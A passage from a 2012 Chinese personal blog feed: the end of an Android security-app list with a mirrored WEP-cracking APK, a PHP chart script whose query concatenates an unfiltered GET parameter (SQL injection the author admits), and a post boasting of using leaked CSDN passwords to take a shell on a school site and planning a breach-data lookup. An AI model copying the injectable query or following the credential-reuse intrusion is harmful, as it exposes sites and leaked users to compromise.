<p><strong>LogCat+</strong> (0.1.0): <a href="http://market.android.com/details?id=com.baldhead.android.logcatplus" target="_blank" rel="external">http://market.android.com/details?id=com.baldhead.android.logcatplus</a></p>
<p><strong>LUKS Manager</strong> <a href="https://play.google.com/store/apps/details?id=com.nemesis2.luksmanager" target="_blank" rel="external">https://play.google.com/store/apps/details?id=com.nemesis2.luksmanager</a></p>
<p><strong>Lulz Soundboard</strong> (2.0): <a href="http://market.android.com/details?id=net.rocketbird.LulzSoundboard" target="_blank" rel="external">http://market.android.com/details?id=net.rocketbird.LulzSoundboard</a></p>
<p><strong>Metal Sniffer</strong> (0.6.0): <a href="http://market.android.com/details?id=com.icechen1.metalsniffer" target="_blank" rel="external">http://market.android.com/details?id=com.icechen1.metalsniffer</a></p>
<p><strong>Mock GPS</strong> (1.1.1): <a href="http://market.android.com/details?id=com.tim.apps.mockgps" target="_blank" rel="external">http://market.android.com/details?id=com.tim.apps.mockgps</a></p>
<p><strong>Moss</strong> (0.5): <a href="http://market.android.com/details?id=org.mosspaper" target="_blank" rel="external">http://market.android.com/details?id=org.mosspaper</a></p>
<p><strong>Nessus</strong> (1.0.1): <a href="http://market.android.com/details?id=com.tenable" target="_blank" rel="external">http://market.android.com/details?id=com.tenable</a></p>
<p><strong>Network Discovery</strong> (0.3.5): <a href="http://market.android.com/details?id=info.lamatricexiste.network" target="_blank" rel="external">http://market.android.com/details?id=info.lamatricexiste.network</a></p>
<p><strong>Network Info II</strong> (0.6.7): <a href="http://market.android.com/details?id=aws.apps.networkInfoIi" target="_blank" rel="external">http://market.android.com/details?id=aws.apps.networkInfoIi</a></p>
<p><strong>Network Spoofer</strong> (0.9.0): <a href="http://market.android.com/details?id=uk.digitalsquid.netspoofer" target="_blank" rel="external">http://market.android.com/details?id=uk.digitalsquid.netspoofer</a></p>
<p><strong>NewsRob</strong> (4.8.8): <a href="http://market.android.com/details?id=com.newsrob" target="_blank" rel="external">http://market.android.com/details?id=com.newsrob</a></p>
<p><strong>Nmap</strong> (0.6.1): <a href="http://market.android.com/details?id=com.wjholden.nmap" target="_blank" rel="external">http://market.android.com/details?id=com.wjholden.nmap</a></p>
<p><strong>NoteCipher</strong> <a href="https://play.google.com/store/apps/details?id=info.guardianproject.notepadbot" target="_blank" rel="external">https://play.google.com/store/apps/details?id=info.guardianproject.notepadbot</a></p>
<p><strong>ObscuraCam</strong> <a href="https://play.google.com/store/apps/details?id=org.witness.sscphase1" target="_blank" rel="external">https://play.google.com/store/apps/details?id=org.witness.sscphase1</a></p>
<p><strong>Orbot Tor</strong> (0.2.3.17-beta-1.0.9-rc5a): <a href="http://market.android.com/details?id=org.torproject.android" target="_blank" rel="external">http://market.android.com/details?id=org.torproject.android</a></p>
<p><strong>Orweb</strong> Proxy+Privacy Browser <a href="https://play.google.com/store/apps/details?id=info.guardianproject.browser" target="_blank" rel="external">https://play.google.com/store/apps/details?id=info.guardianproject.browser</a></p>
<p><strong>PdaNet Tablet</strong> (2.20): <a href="http://market.android.com/details?id=com.pdanet.tablet2" target="_blank" rel="external">http://market.android.com/details?id=com.pdanet.tablet2</a></p>
<p><strong>Penetrate Pro</strong> <em>Removed form google play.</em> Reason here.&gt;&gt; <a href="http://underdev.org/" target="_blank" rel="external">http://underdev.org/</a><a href="http://www.forhacsec.com/2011/06/13/penetrate-wep-key-cracking-app-removed-from-the-android-market/" target="_blank" rel="external">http://www.forhacsec.com/2011/06/13/penetrate-wep-key-cracking-app-removed-from-the-android-market/</a>My back up….<a href="https://www.dropbox.com/s/2rhs24m6dpurbe0/Penetrate%20Pro%20v2.7.1%20for%20Android.apk" target="_blank" rel="external">https://www.dropbox.com/s/2rhs24m6dpurbe0/Penetrate%20Pro%20v2.7.1%20for%20Android.apk</a><a href="http://www.mediafire.com/?aamwjt5mvvtlewm" target="_blank" rel="external">http://www.mediafire.com/?aamwjt5mvvtlewm</a></p>
<p><strong>PiiK</strong> (1.0): <a href="http://market.android.com/details?id=net.ponury.piik" target="_blank" rel="external">http://market.android.com/details?id=net.ponury.piik</a></p>
<p><strong>Ping &amp; DNS</strong> (1.8.5): <a href="http://market.android.com/details?id=com.ulfdittmer.android.ping" target="_blank" rel="external">http://market.android.com/details?id=com.ulfdittmer.android.ping</a></p>
<p><strong>Pixie</strong> (1.0.6): <a href="http://market.android.com/details?id=com.nbl.pixie" target="_blank" rel="external">http://market.android.com/details?id=com.nbl.pixie</a></p>
<p><strong>Pixie Probe</strong> (1.0.1): <a href="http://market.android.com/details?id=com.nbl.pixieprobe" target="_blank" rel="external">http://market.android.com/details?id=com.nbl.pixieprobe</a></p>
<p><strong>Port Scanner</strong> (4.96): <a href="http://market.android.com/details?id=com.twistandroid.portscan" target="_blank" rel="external">http://market.android.com/details?id=com.twistandroid.portscan</a></p>
<p><strong>PortKnocker</strong> (1.2.0): <a href="http://market.android.com/details?id=org.thebigmachine.portknocker" target="_blank" rel="external">http://market.android.com/details?id=org.thebigmachine.portknocker</a></p>
<p><strong>Python for Android</strong> (6): <a href="http://market.android.com/details?id=com.googlecode.pythonforandroid" target="_blank" rel="external">http://market.android.com/details?id=com.googlecode.pythonforandroid</a></p>
<p><strong>Python Programming Reference FREE</strong> (1.2): <a href="http://market.android.com/details?id=nadsoft.pythonprogrammingreferencefree" target="_blank" rel="external">http://market.android.com/details?id=nadsoft.pythonprogrammingreferencefree</a></p>
<p><strong>PythonConsole</strong> (1.2): <a href="http://market.android.com/details?id=com.pythonconsole" target="_blank" rel="external">http://market.android.com/details?id=com.pythonconsole</a></p>
<p><strong>RemoteFile</strong> (1.8.2): <a href="http://market.android.com/details?id=com.grrzzz.remotefilefull" target="_blank" rel="external">http://market.android.com/details?id=com.grrzzz.remotefilefull</a></p>
<p><strong>Root Explorer</strong> (2.20.1): <a href="http://market.android.com/details?id=com.speedsoftware.rootexplorer" target="_blank" rel="external">http://market.android.com/details?id=com.speedsoftware.rootexplorer</a></p>
<p><strong>SecuriteInfo.com NetAudit</strong> (2.24.3957): <a href="http://market.android.com/details?id=com.securiteinfo.android.netaudit" target="_blank" rel="external">http://market.android.com/details?id=com.securiteinfo.android.netaudit</a></p>
<p><strong>ShareMyApps</strong> (3.2.1): <a href="http://market.android.com/details?id=com.mattlary.shareMyApps" target="_blank" rel="external">http://market.android.com/details?id=com.mattlary.shareMyApps</a></p>
<p><strong>Shark</strong> (1.0.2): <a href="http://market.android.com/details?id=lv.n3o.shark" target="_blank" rel="external">http://market.android.com/details?id=lv.n3o.shark</a></p>
<p><strong>SharkReader</strong> (0.1.5): <a href="http://market.android.com/details?id=lv.n3o.sharkreader" target="_blank" rel="external">http://market.android.com/details?id=lv.n3o.sharkreader</a></p>
<p><strong>Shoutcast Client</strong> (0.1.6): <a href="http://market.android.com/details?id=com.gomork" target="_blank" rel="external">http://market.android.com/details?id=com.gomork</a></p>
<p><strong>Show IP</strong> (1.4): <a href="http://market.android.com/details?id=mobi.mgeek.showip" target="_blank" rel="external">http://market.android.com/details?id=mobi.mgeek.showip</a></p>
<p><strong>Skype</strong> (2.8.0.920): <a href="http://market.android.com/details?id=com.skype.raider" target="_blank" rel="external">http://market.android.com/details?id=com.skype.raider</a></p>
<p><strong>SL4A</strong> (4): <a href="http://market.android.com/details?id=com.googlecode.android_scripting" target="_blank" rel="external">http://market.android.com/details?id=com.googlecode.android_scripting</a></p>
<p><strong>SManager ads</strong> (2.4): <a href="http://market.android.com/details?id=os.tools.scriptmanager" target="_blank" rel="external">http://market.android.com/details?id=os.tools.scriptmanager</a></p>
<p><strong>Solid Explorer</strong> (1.3): <a href="http://market.android.com/details?id=pl.solidexplorer" target="_blank" rel="external">http://market.android.com/details?id=pl.solidexplorer</a></p>
<p><strong>SSHTunnel</strong> (1.5.4): <a href="http://market.android.com/details?id=org.sshtunnel" target="_blank" rel="external">http://market.android.com/details?id=org.sshtunnel</a></p>
<p><strong>StickMount</strong> (1.5): <a href="http://market.android.com/details?id=eu.chainfire.stickmount" target="_blank" rel="external">http://market.android.com/details?id=eu.chainfire.stickmount</a></p>
<p><strong>STUN Client</strong> (1.1): <a href="http://market.android.com/details?id=com.kodholken.stunclient" target="_blank" rel="external">http://market.android.com/details?id=com.kodholken.stunclient</a></p>
<p><strong>Superuser</strong> (3.1.3): <a href="http://market.android.com/details?id=com.noshufou.android.su" target="_blank" rel="external">http://market.android.com/details?id=com.noshufou.android.su</a></p>
<p><strong>TeamViewer</strong> (7.0.405): <a href="http://market.android.com/details?id=com.teamviewer.teamviewer.market.mobile" target="_blank" rel="external">http://market.android.com/details?id=com.teamviewer.teamviewer.market.mobile</a></p>
<p><strong>Terminal Emulator</strong> (1.0.44): <a href="http://market.android.com/details?id=jackpal.androidterm" target="_blank" rel="external">http://market.android.com/details?id=jackpal.androidterm</a></p>
<p><strong>Translate</strong> (2.4.2): <a href="http://market.android.com/details?id=com.google.android.apps.translate" target="_blank" rel="external">http://market.android.com/details?id=com.google.android.apps.translate</a></p>
<p><strong>Twitter</strong> (3.3.1): <a href="http://market.android.com/details?id=com.twitter.android" target="_blank" rel="external">http://market.android.com/details?id=com.twitter.android</a></p>
<p><strong>WiFi File Transfer</strong> (1.0.3): <a href="http://market.android.com/details?id=com.smarterdroid.wififiletransfer" target="_blank" rel="external">http://market.android.com/details?id=com.smarterdroid.wififiletransfer</a></p>
<p><strong>Wigle Bluetooth</strong> (1.0): <a href="http://market.android.com/details?id=net.wigle" target="_blank" rel="external">http://market.android.com/details?id=net.wigle</a></p>
<p><strong>WiGLE Wifi Wardriving</strong> (1.52): <a href="http://market.android.com/details?id=net.wigle.wigleandroid" target="_blank" rel="external">http://market.android.com/details?id=net.wigle.wigleandroid</a></p>
<p><strong>X-Ray</strong> (1.0): <a href="http://market.android.com/details?id=com.duosecurity.xray" target="_blank" rel="external">http://market.android.com/details?id=com.duosecurity.xray</a></p>
<p><strong>xkcd Browser</strong> (3.0): <a href="http://market.android.com/details?id=com.floern.xkcd" target="_blank" rel="external">http://market.android.com/details?id=com.floern.xkcd</a></p>
<p><strong>zAnti</strong> (1.0.5): <a href="http://market.android.com/details?id=com.zimperium.zanti" target="_blank" rel="external">http://market.android.com/details?id=com.zimperium.zanti</a></p>
<p><strong>µTorrent Remote</strong> (1.0.20110929): <a href="http://market.android.com/details?id=com.utorrent.web" target="_blank" rel="external">http://market.android.com/details?id=com.utorrent.web</a></p>
<p><em><strong>Frameworks and distros</strong></em></p>
<p><strong>Smartphone Pentest Framework</strong> <a href="http://www.bulbsecurity.com/smartphone-pentest-framework/" target="_blank" rel="external">http://www.bulbsecurity.com/smartphone-pentest-framework/</a></p>
<p><strong>MobiSec</strong> <a href="http://sourceforge.net/projects/mobisec/" target="_blank" rel="external">http://sourceforge.net/projects/mobisec/</a></p>
<p><strong>osaftoolkit</strong> <a href="http://osaf-community.org/" target="_blank" rel="external">http://osaf-community.org/</a></p>
<p><strong>Santoku-Linux</strong> <a href="https://santoku-linux.com/" target="_blank" rel="external">https://santoku-linux.com/</a></p>
<p><strong>Android Security Evaluation Framework- ASEF</strong> <a href="https://code.google.com/p/asef/" target="_blank" rel="external">https://code.google.com/p/asef/</a></p>
<p><strong>android-apktool</strong> <a href="http://code.google.com/p/android-apktool/" target="_blank" rel="external">http://code.google.com/p/android-apktool/</a></p>
<p><strong>dex2jar</strong> <a href="http://code.google.com/p/dex2jar/" target="_blank" rel="external">http://code.google.com/p/dex2jar/</a></p>
<p><em><strong>Other stuff</strong></em></p>
<p><strong>Real APK Leecher</strong> Tageline: <em>Real APK Leecher, the easiest way to download android apk file from Android Market to desktop</em><a href="http://codeimba.com/2012/03/09/real-apk-leecher-the-easiest-way-to-download-android-apk-file/" target="_blank" rel="external">http://codeimba.com/2012/03/09/real-apk-leecher-the-easiest-way-to-download-android-apk-file/</a> <a href="http://codeimba.com/wp-content/uploads/Real%20APK%20Leecher.zip" target="_blank" rel="external">http://codeimba.com/wp-content/uploads/Real%20APK%20Leecher.zip</a> <a href="http://www.mediafire.com/?b5vibfddvxmh98y" target="_blank" rel="external">http://www.mediafire.com/?b5vibfddvxmh98y</a><a href="https://dl.dropbox.com/u/13532430/Real%20APK%20Leecher.zip" target="_blank" rel="external">https://dl.dropbox.com/u/13532430/Real%20APK%20Leecher.zip</a></p>
<p><strong>Android FOSS Repo</strong> <a href="http://f-droid.org/" target="_blank" rel="external">http://f-droid.org/</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><a href="https://guardianproject.info/" target="_blank" rel="external">https://guardianproject.info/</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p><strong>Ad Network Detector</strong> (1.2): <a href="http://market.android.com/details?id=com.lookout.addetector" target="_blank" rel="ex]]>
    </summary>
    
      <category term="android" scheme="http://doubles.me/tags/android/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[简简单单的学院男女比例统计]]></title>
    <link href="http://doubles.me/2012/11/20/147/"/>
    <id>http://doubles.me/2012/11/20/147/</id>
    <published>2012-11-20T08:19:39.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>以前在哪里看到过一个统计全学校男女比例的表格，我就想把他做成统计图，然后再统计下星座什么的。</p>
<p>3月和9月的女生和我不合呐。</p>
<p>这次使用了Highcharts这一开源图表库。他额好处就是纯脚本，哪里都能放。</p>
<p>可以进入官网看看<a href="http://www.highcharts.com/" target="_blank" rel="external">http://www.highcharts.com/</a></p>
<p>excel数据导入mysql中就不演示了，数据确实比较敏感，不好放出来。</p>
<p>说说主要的实现过程。</p>
<p>connect.php //数据库连接文件</p>
<pre>&lt;?php
$host="local";
$db_user="eshos";
$db_pass="123456";
$db_name="eshos";
$timezone="Asia/Shanghai";

$link=mysql_connect($host,$db_user,$db_pass);
mysql_select_db($db_name,$link);
mysql_query("SET names UTF8");
?&gt;</pre>
<pre></pre>
<pre>show.php // 生成图表</pre>
<pre>&lt;?php
include_once('connect.php');
$year=$_GET['year'];
//$exec="select * from JiangCai_College where year=".$year;
$res = mysql_query("select * from JiangCai_College where year=".$year);

while($row = mysql_fetch_array($res)){
    $college[] = $row['college'];  //获取学院名称
    $male[] = intval($row['male']);  //获取男生人数，并转换为数字整型
    $female[] = intval($row['female']); //获取女生人数，并转换为数字整型
}

?&gt;

&lt;!DOCTYPE HTML&gt;
&lt;html&gt;
    &lt;head&gt;
        &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt;
        &lt;title&gt;Highcharts Example&lt;/title&gt;

        &lt;script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"&gt;&lt;/script&gt;
        &lt;script type="text/javascript"&gt;
$(function () {
    var chart;
    $(document).ready(function() {
        chart = new Highcharts.Chart({
            chart: {
                renderTo: 'container',
                type: 'column'
            },
            title: {
                text: '江西财经大学&lt;?php echo $year; ?&gt;年各学院男女分布图'
            },
            xAxis: {
                categories:  &lt;?php echo json_encode($college); ?&gt;
            },
            yAxis: {
                min: 0,
                title: {
                    text: '男女人数'
                },
                stackLabels: {
                    enabled: true,
                    style: {
                        fontWeight: 'bold',
                        color: (Highcharts.theme &amp;&amp; Highcharts.theme.textColor) || 'gray'
                    }
                }
            },
            legend: {
                align: 'right',
                x: -100,
                verticalAlign: 'top',
                y: 20,
                floating: true,
                backgroundColor: (Highcharts.theme &amp;&amp; Highcharts.theme.legendBackgroundColorSolid) || 'white',
                borderColor: '#CCC',
                borderWidth: 1,
                shadow: false
            },
            tooltip: {
                formatter: function() {
                    return '&lt;b&gt;'+ this.x +'&lt;/b&gt;&lt;br/&gt;'+
                        this.series.name +': '+ this.y +'&lt;br/&gt;'+
                        'Total: '+ this.point.stackTotal;
                }
            },
            plotOptions: {
                column: {
                    stacking: 'normal',
                    dataLabels: {
                        enabled: true,
                        color: (Highcharts.theme &amp;&amp; Highcharts.theme.dataLabelsColor) || 'white'
                    }
                }
            },
            series: [{
                name: '男',
                data: &lt;?php echo json_encode($male);?&gt;
            },{
                name: '女',
                data: &lt;?php echo json_encode($female);?&gt;
            }]
        });
    });

});
        &lt;/script&gt;
    &lt;/head&gt;
    &lt;body&gt;
&lt;script src="js/highcharts.js"&gt;&lt;/script&gt;
&lt;script src="js/modules/exporting.js"&gt;&lt;/script&gt;

&lt;div id="container" style="min-width: 400px; height: 400px; margin: 0 auto"&gt;&lt;/div&gt;

    &lt;/body&gt;
&lt;/html&gt;</pre>
<pre></pre>
<pre>很明显，这个存在注入，o(︶︿︶)o 唉，不会过滤，所以重要数据还是没放进数据库，不过大家还是别乱搞啊。</pre>
<pre>最后结果在这里。</pre>
<pre></pre>

<p> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121120181359.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121120181359-1024x350.png" alt="" title="QQ20121120181359"></a></p>
<p>访问链接：<a href="http://justforlove.sinaapp.com" target="_blank" rel="external">http://justforlove.sinaapp.com</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>以前在哪里看到过一个统计全学校男女比例的表格，我就想把他做成统计图，然后再统计下星座什么的。</p>
<p>3月和9月的女生和我不合呐。</p>
<p>这次使用了Highcharts这一开源图表库。他额好处就是纯脚本，哪里都能放。</p>
<p>可以进入官网看看<a hre]]>
    </summary>
    
      <category term="sae" scheme="http://doubles.me/tags/sae/"/>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[hack游戏，通关啦]]></title>
    <link href="http://doubles.me/2012/11/19/130/"/>
    <id>http://doubles.me/2012/11/19/130/</id>
    <published>2012-11-19T07:12:22.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>游戏是来自这里的，</p>
<p><a href="http://monyer.com/game/game1/" target="_blank" rel="external">http://monyer.com/game/game1/</a></p>
<p>以前玩过几次其他的，都没通关过，这次玩这个第5关，然后发现有攻略，嘿嘿。</p>
<p>可惜卡到第5关，攻略还缺了第5关的。攻略我也不发了，第5关要抓个包。嗯嗯，就这样了。</p>
<p>还有那个google的，图片处理还原出来，太牛逼的敢脚。</p>
<p>大家去玩一下吧。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121119000952.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121119000952-1024x609.png" alt="" title="QQ20121119000952"></a>2007年的时候，刚学会上网啊，那时候鬼仔的boke订阅很高呢，还有neeao的。不过后来没看更新了，<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121119001047.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121119001047-1024x171.png" alt="" title="QQ20121119001047"></a>看，我在这里，160名，还无耻的偷看了攻略。o(︶︿︶)o 唉。。。。。。。。。。。。。。。。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>游戏是来自这里的，</p>
<p><a href="http://monyer.com/game/game1/" target="_blank" rel="external">http://monyer.com/game/game1/</a></p>
<p>以前玩过几次其他]]>
    </summary>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Hold住爱，高级黑啊]]></title>
    <link href="http://doubles.me/2012/11/18/126/"/>
    <id>http://doubles.me/2012/11/18/126/</id>
    <published>2012-11-18T12:06:52.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>今天看了杨幂的Hold住爱，我勒个去哦。58女神响铛铛啊。整个电影全是58，微信，然后看到了这一幕。</p>
<p>&nbsp;</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/hold.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/hold.jpg" alt="" title="hold"></a></p>
<p>“有了防火墙源代码，不但可以破解防火墙，进入公司内部窃取信息。。。”</p>
<p>这到底哪一句是重点呐。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>今天看了杨幂的Hold住爱，我勒个去哦。58女神响铛铛啊。整个电影全是58，微信，然后看到了这一幕。</p>
<p>&nbsp;</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/hold.jpg" ]]>
    </summary>
    
      <category term="内涵" scheme="http://doubles.me/tags/%E5%86%85%E6%B6%B5/"/>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[CSDN密码回见]]></title>
    <link href="http://doubles.me/2012/11/16/123/"/>
    <id>http://doubles.me/2012/11/16/123/</id>
    <published>2012-11-16T02:53:17.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>&nbsp;</p>
<p>一不小心看到csdn上的这个帖子，神人啊。</p>
<p><a href="http://bbs.csdn.net/topics/330149187" target="_blank" rel="external">http://bbs.csdn.net/topics/330149187</a></p>
<h1 id="怎样下载Csdn的数据库"><a href="#怎样下载Csdn的数据库" class="headerlink" title="怎样下载Csdn的数据库"></a>怎样下载Csdn的数据库</h1><p><table id="post-330149187" border="0" cellspacing="0" cellpadding="0" data-post-id="330149187"></table></p>
<p><tbody></tbody></p>
<p><tr data-username="zxg060811135" data-floor=""></tr></p>
<p><td>发表于： 2010-03-12 16:00:43</td><br></p>
<p><tr></tr></p>
<p><td></td></p>
<p><div>我在做一个搜索引擎，需要大量的测试数据，想用Csdn上的数据做测试，Csdn的数据库可以免费下载吗，怎样下载？如果有其他论坛的数据库也可以，谢谢。</div><br><br><br><br>&nbsp;</p>
<p>然后，后面果断是骂楼主的，转眼1年过去，各种顶，楼主神人。</p>
<p>大家看个笑话就好了。</p>
<p>sgk365是这次数据库泄露数据库的聚集查询网站，大家见过没，反正我的密码里面查到了。哭</p>
<p>现在搞了各收费的，qq群也踢掉我了。所以打算把这些数据自己汇集一下，然后自行建立一个查询程序。</p>
<p>其实我用它查到了一个学校的网站密码，shell到手，很爽的，不费吹灰之力。</p>
<p>而且，邮箱，支付宝都。。。。</p>
<p>立贴为证，坐等完工日期吧。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>&nbsp;</p>
<p>一不小心看到csdn上的这个帖子，神人啊。</p>
<p><a href="http://bbs.csdn.net/topics/330149187" target="_blank" rel="external">http://bbs.csdn.]]>
    </summary>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[在里啊，棍棍们]]></title>
    <link href="http://doubles.me/2012/11/14/117/"/>
    <id>http://doubles.me/2012/11/14/117/</id>
    <published>2012-11-14T12:52:52.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>找对象就像电脑装系统，男人是电脑，女人是系统，如果电脑配置低，不给力，装个win7带来华丽的同时，除了卡还是卡。所以配置低的男人还是找个XP将就吧！女人同样，如果你明明是个XP，却非要装到配置牛X的电脑上，那么，时间长了主人慢慢就会把你换掉！当然还有另外一种配置超强的男人，装双系统，在家用XP，在外用windows7。有时候没事还想去试试MAC！</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>找对象就像电脑装系统，男人是电脑，女人是系统，如果电脑配置低，不给力，装个win7带来华丽的同时，除了卡还是卡。所以配置低的男人还是找个XP将就吧！女人同样，如果你明明是个XP，却非要装到配置牛X的电脑上，那么，时间长了主人慢慢就会把你换掉！当然还有另外一种配置超强的男人，]]>
    </summary>
    
      <category term="吐槽" scheme="http://doubles.me/tags/%E5%90%90%E6%A7%BD/"/>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[深藏功与名]]></title>
    <link href="http://doubles.me/2012/11/14/113/"/>
    <id>http://doubles.me/2012/11/14/113/</id>
    <published>2012-11-14T03:25:47.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>内涵图我就不解释了</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121114125621.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121114125621.png" alt="" title="QQ20121114125621"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>内涵图我就不解释了</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121114125621.png" target="_blank" rel="external"><img src="ht]]>
    </summary>
    
      <category term="内涵" scheme="http://doubles.me/tags/%E5%86%85%E6%B6%B5/"/>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[卖假货的淘宝]]></title>
    <link href="http://doubles.me/2012/11/14/103/"/>
    <id>http://doubles.me/2012/11/14/103/</id>
    <published>2012-11-14T03:19:50.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>昨天淘宝上买了件衣服，挺便宜的。 还说是正品jeep，大家都知道是仿的，我看是afs jeep，这个价格也就行了。</p>
<p>今天上去一看，妹妹的，居然还有一个afsjeep的链接，那我买的是什么。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/12.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/12.png" alt="" title="1"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/22.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/22.png" alt="" title="2"></a>这里没看出问题么？难道没发现衣服是完全一样的。看看这一张，afs太明显的p上去的额。不信？</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/32.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/32.png" alt="" title="3"></a></p>
<p>&nbsp;</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/42.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/42.png" alt="" title="4"></a></p>
<p>不要以为我图重了，我的图没有发重额，对比一下下就可以发现，胸口logo那里的巨大差距。还是用画图这个犀利工具给改的吧。</p>
<p>他们的美工也约会去了吧。</p>
<p>开始让退货不给退，说发货了，至少要给10块钱快递费。然后，证据来了立马不一样了。一直催我。还想看看他们会不会做好人的。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121114130650.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121114130650.png" alt="" title="QQ20121114130650"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121114130717.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121114130717.png" alt="" title="QQ20121114130717"></a></p>
<p>退款成功了，然后看看有没有好处拿。翔一般的客服，可以举报，可以投诉，投诉可以协商赔偿，协商你妹啊。给我寄来3斤翔，我是该喝了还是泼你一脸；天天3点叫我起来啦翔我是拉还是不拉。</p>
<p>举报不行那就投诉吧，找了10分钟没找到怎么投诉，谁能不百度知道怎么投诉的？</p>
<p>有没有，有没有？</p>
<p>最后发现了吧，在商品页的右上角有4个大字，反正我是瞎了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/53.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/53.png" alt="" title="5"></a>其实我想说木有然后了，但是它真的木有然后了，因为你不能举报假冒伪劣产品。不知道这家是怎么弄的，其他地方可以举报假货，但是这家就是木有这一个框啊。举报完了，没的图截了。</p>
<p>到此结束了？是的，不然还能怎么样。。</p>
<p>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>昨天淘宝上买了件衣服，挺便宜的。 还说是正品jeep，大家都知道是仿的，我看是afs jeep，这个价格也就行了。</p>
<p>今天上去一看，妹妹的，居然还有一个afsjeep的链接，那我买的是什么。</p>
<p><a href="http://7xnueu.com1.]]>
    </summary>
    
      <category term="淘宝" scheme="http://doubles.me/tags/%E6%B7%98%E5%AE%9D/"/>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[PHP再翻墙_KnProxy]]></title>
    <link href="http://doubles.me/2012/11/13/97/"/>
    <id>http://doubles.me/2012/11/13/97/</id>
    <published>2012-11-13T12:41:35.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>KnProxy 是一个轻量级的基于PHP开发的Web代理。</p>
<p>该版本改进内容包括：</p>
<p>1. 支持云代理技术（仍在进一步测试中）</p>
<p>2. 增加了配置文件</p>
<p>3. 可设置自己的代理key来避免URL被GFW捕获</p>
<p>4. 增加了中文版本</p>
<p>简单的介绍，它的好处就是传上空间，然后就可以使用了，没错就这么简单。 我依然上传到我的php空间中，然后就木有然后了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121113223707.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121113223707-1024x402.png" alt="" title="QQ20121113223707"></a></p>
<p>项目地址百度吧，经常不可访问，可能是这段时间的缘故，这里给出地址：<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/knProxy-master.zip" target="_blank" rel="external">knProxy-master</a></p>
